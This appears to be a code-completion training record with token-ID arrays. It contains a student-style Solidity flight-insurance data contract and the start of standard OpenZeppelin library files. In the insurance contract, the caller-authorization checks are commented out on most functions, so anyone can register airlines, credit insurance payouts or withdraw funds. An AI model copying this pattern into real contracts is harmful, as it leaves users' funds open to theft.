1728,
636,
67,
31734,
31,
203,
203,
565,
445,
1603,
9569,
1435,
3903,
1338,
5541,
288,
203,
3639,
5320,
1290,
48,
18988,
24237,
273,
404,
31,
203,
3639,
2
] |
pragma solidity ^0.4.24;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
struct Airline{
bytes name;
bool isRegistered;
bool canVote;
}
address private contractOwner; // Account used to deploy contract
bool private operational = true; // Blocks all state changes throughout the contract if false
mapping(address => Airline) private airlines; //Airlines are contract accounts, so we represent them as addresses.
//Another approach can be to make a struct Airline. But let's keep it simple.
uint256 private airlinesCount; //The number of registered airlines.
mapping(address => bool) private authorizedCallers; //Used to keep track of which app contracts can access this contract
uint M =2; //Voting threshold, starts when there are at least 4 registered airlines
address[] private multiCallsOp = new address[](0); //List of voters on changing the operational mode
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
/**
* @dev Constructor
* The deploying account becomes contractOwner
*/
constructor
(
address firstAirline
)
public
{
contractOwner = msg.sender;
airlines[firstAirline].isRegistered = true; //Project Specification: First airline is registered when contract is deployed.
airlines[firstAirline].canVote = false; //First airline must provide funding before it can vote for others to join
airlinesCount = 1;
}
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
/**
* @dev Modifier that requires the calling contract to be in the "authorizedCallers" list
* This is used on all functions(except those who are called by the contract owner)
* to ensure that only the authorized app contracts gain access to the data on this contract
*/
modifier requireAuthorizedCaller()
{
require(authorizedCallers[msg.sender], "Caller is not authorized");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/**
* @dev Sets which app contracts can access this data contract
*
* This method is used to authorize a FlightSuretyApp contract to interact with FlightSuretyData.
* You can use it to change which FlightSuretyApp is active. But it is not required
*/
function authorizeCaller
(
address appContract
)
external
requireContractOwner
requireIsOperational
{
authorizedCallers[appContract] = true;
}
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational()
public
view
//requireAuthorizedCaller
returns(bool)
{
return operational;
}
/**
* @dev Checks if an airline can vote
*
* Airlines are assumed to be smart contracts, so they are represented here as addresses to contract accounts.
*/
function canVote
(
address airline
)
external
view //pure
requireIsOperational
//requireAuthorizedCaller
returns(bool)
{
return (airlines[airline].canVote);
}
/**
* @dev Does the voting work for multisignature functions
* Keeps track of voting responses,
* and returns true if the voting threshold is rechead so the caller function can perform the task
*/
function vote(address voter)
private
returns(bool success)
{
require(voter == contractOwner || airlines[voter].canVote, "This address cannot vote.");
success = false;
bool isDuplicate = false;
for(uint c = 0; c < multiCallsOp.length; c++)
{
if(multiCallsOp[c] == voter)
{
isDuplicate = true;
break;
}
}
require(!isDuplicate, "Caller already voted on changing operational mode");
multiCallsOp.push(voter);
uint votes = multiCallsOp.length;
if(votes >= M) //Voting threshold reached -> Change operational mode
{
multiCallsOp = new address[](0); //Reset list of voters
success = true;
}
return(success);
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus
(
bool mode
)
external
//requireContractOwner
{
require(mode != operational, "Operational status already set to given mode");
if(airlinesCount < 4) //Voting threshold not reached yet
{
require(msg.sender == contractOwner, "Message sender is not allowed to change the operational mode of the contract");
operational = mode;
}
else
if(vote(msg.sender))
operational = mode;
}
/**
* @dev Checks if an airline is already registered
* Can only be called from FlightSuretyApp contract
*
* Airlines are assumed to be smart contracts, so they are represented here as addresses to contract accounts.
*/
function isRegistered
(
address airline
)
external
view //pure
requireIsOperational
//requireAuthorizedCaller
returns(bool)
{
return (airlines[airline].isRegistered);
}
/**
* @dev Returns the number of registered airlines
*
*/
function RegisteredAirlinesCount
(
)
external
view //pure
//requireIsOperational //OK to reveal the count even if contract is not operational
//requireAuthorizedCaller
returns(uint)
{
return (airlinesCount);
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
* Airlines are assumed to be smart contracts, so they are represented here as addresses to contract accounts.
*/
function registerAirline
(
address airline
)
external
//view //pure
requireIsOperational
//requireAuthorizedCaller
{
//require(airlines[airline].isRegistered == false, "This airline is already registered"); //App contract already checks it.
airlines[airline].isRegistered = true;
airlines[airline].canVote = false;
airlinesCount++;
}
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
* Airlines are assumed to be smart contracts, so they are represented here as addresses to contract accounts.
*/
function enableVoting
(
)
external
payable//view //pure
requireIsOperational
//requireAuthorizedCaller
{
require(airlines[msg.sender].canVote == false, "This airline already can vote");
require(airlines[msg.sender].isRegistered, "This airline is not registered");
require(msg.value >= 10 ether, "Not enough funds to enable voting for this airline");
airlines[msg.sender].canVote = true;
require(airlines[msg.sender].canVote, "Failed to enable voting!");
}
/**
* @dev Buy insurance for a flight
*
*/
struct insuredFlights{
//bytes32[] flightNames; //a list of insured flights for each customer
//uint[] amounts; // holds insurance amounts for each insured flight in wei
mapping(bytes32 => uint) insuranceDetails; //stores how much did the customer insure for each flight
bytes32[] insuranceKeys; //used to search the above mapping--e.g. to view all insured flights
}
mapping(address => insuredFlights) allInsuredFlights;
mapping(address => uint) payouts; //Amounts owed to insurees but have not yet been credited to their accounts
//These will be credited to the insurees when they initiate a withdrawal.
//event payout(uint amount, address insuree); //This contract is not directly connected to the frontend, no need for events here.
function buy
(
address customer,
bytes32 flight,
uint amount
)
external
//payable //The fees are kept in the app contract
requireIsOperational
//requireAuthorizedCaller
{
// 1. Check the customer did not insure this flight previously:
require(allInsuredFlights[customer].insuranceDetails[flight] == 0, 'This flight is already insured by this customer');
// 2. Accept insurance:
allInsuredFlights[customer].insuranceDetails[flight] = amount;
allInsuredFlights[customer].insuranceKeys.push(flight);
}
/**
* @dev Allow a user to view the list of flights they insured
*
*/
function viewInsuredFlights
(
address customer
)
external
returns(bytes32[] memory)
{
return( allInsuredFlights[customer].insuranceKeys);
}
/**
* @dev Credits payouts to insurees
*/
function creditInsurees
(
bytes32 flight,
address insuree
)
external
requireIsOperational
//Apply Re-entrancy Gaurd Here(not required by project)
//requireAuthorizedCaller
returns(uint credit) //This is a state-changing function, so it cannot return a value
//We will inform caller of the credit amount by emitting an event
{
//1. Checks
credit = allInsuredFlights[insuree].insuranceDetails[flight];
require(credit > 0,
'You either did not insure this flight from before, or you have already claimed the credit for this flight.');
//2. Effects
//2.a Update the insurance information in your mapping
allInsuredFlights[insuree].insuranceDetails[flight] = 0;
//2.b Calculate the amount the customer must be refunded: 1.5 time the insurance amount
credit = credit.mul(3);
credit = credit.div(2);
require(allInsuredFlights[insuree].insuranceDetails[flight] == 0, 'Could not payout your credit');
//3. Interaction
payouts[insuree] = payouts[insuree].add(credit);
require(payouts[insuree] > 0, 'Unable to add your credit to the payout system');
//web3.js is not connected to this contract, you need to emit from the app contract
//just return the tuples and the app contract should do the emit back to the front end
//emit payout(credit, insuree);
//Next: when the emitted event is caught in the frontend, allow user to withdraw amount -> withdraw button should appear
}
function getCredit
(
address insuree
)
external
view
returns(uint credit)
{
credit = payouts[insuree];
return credit;
}
/**
* @dev Transfers eligible payout funds to insuree
*
*/
function pay
(
address insuree
)
public
requireIsOperational
//requireAuthorizedCaller
{
uint credit = payouts[insuree];
//1. Checks
require(credit > 0, 'User does not have credit to withraw');
//2. Effects
payouts[insuree] = 0; //reset credit to prevent multiple withrawal of the same credit
require(payouts[insuree] == 0, 'Could not withdraw credit');
//3. Interaction
insuree.transfer(credit);
//insuree.call.value(credit)("");
}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
function fund
(
address insuree,
bytes32 flight
)
external
payable
requireIsOperational
//requireAuthorizedCaller
{
// 1. Check the customer did not insure this flight previously:
require(allInsuredFlights[insuree].insuranceDetails[flight] == 0, 'This flight is already insured by this customer');
// 2. Accept insurance:
allInsuredFlights[insuree].insuranceDetails[flight] = msg.value;
//allInsuredFlights[insuree].insuranceKeys.push(flight); //to be able to show the customer later all the flights he insured
//feature not required and needs to be fixed later.
}
function getFlightKey
(
address airline,
string memory flight,
uint256 timestamp
)
internal
pure
returns(bytes32)
{
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
/**
* @dev Fallback function for funding smart contract.
*
*/
function()
external
payable
requireIsOperational
//requireAuthorizedCaller
{
//fund();
}
}
| * @dev Fallback function for funding smart contract./requireAuthorizedCallerfund(); | function()
external
payable
requireIsOperational
{
}
| 14,078,390 | [
1,
12355,
445,
364,
22058,
13706,
6835,
18,
19,
6528,
15341,
11095,
74,
1074,
5621,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1435,
203,
18701,
3903,
203,
18701,
8843,
429,
203,
18701,
2583,
2520,
2988,
287,
203,
565,
288,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: @openzeppelin/[email protected]/utils/math/SafeCast.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeCast.sol)
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// File: @openzeppelin/[email protected]/governance/utils/IVotes.sol
// OpenZeppelin Contracts (last updated v4.5.0) (governance/utils/IVotes.sol)
pragma solidity ^0.8.0;
/**
* @dev Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts.
*
* _Available since v4.5._
*/
interface IVotes {
/**
* @dev Emitted when an account changes their delegate.
*/
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/**
* @dev Emitted when a token transfer or delegate change results in changes to a delegate's number of votes.
*/
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/**
* @dev Returns the current amount of votes that `account` has.
*/
function getVotes(address account) external view returns (uint256);
/**
* @dev Returns the amount of votes that `account` had at the end of a past block (`blockNumber`).
*/
function getPastVotes(address account, uint256 blockNumber) external view returns (uint256);
/**
* @dev Returns the total supply of votes available at the end of a past block (`blockNumber`).
*
* NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.
* Votes that have not been delegated are still part of total supply, even though they would not participate in a
* vote.
*/
function getPastTotalSupply(uint256 blockNumber) external view returns (uint256);
/**
* @dev Returns the delegate that `account` has chosen.
*/
function delegates(address account) external view returns (address);
/**
* @dev Delegates votes from the sender to `delegatee`.
*/
function delegate(address delegatee) external;
/**
* @dev Delegates votes from signer to `delegatee`.
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// File: @openzeppelin/[email protected]/utils/math/Math.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// File: @openzeppelin/[email protected]/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/[email protected]/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/[email protected]/utils/cryptography/ECDSA.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
